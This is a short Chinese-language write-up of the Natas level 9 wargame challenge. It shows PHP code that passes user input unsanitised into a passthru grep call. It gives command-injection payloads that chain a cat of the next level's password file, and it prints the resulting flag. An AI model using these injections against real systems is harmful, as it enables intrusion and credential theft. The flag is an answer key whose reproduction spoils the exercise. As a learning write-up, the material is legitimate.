Natas9:
审计源码,发现关键代码:
$key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); }
php代码调用了passthru函数执行grep命令来查找我们提交的内容是否在 dictionary.txt中,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到flag。
(或者构造如下:;cat /etc/natas_webpass/natas10;)
flag:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
总结:
1.php代码中,passthru()函数可以执行外部命令,类似于exec()。
2.grep -i 为不分大小写匹配查询。
3.使用;或|或&可以截断shell命令。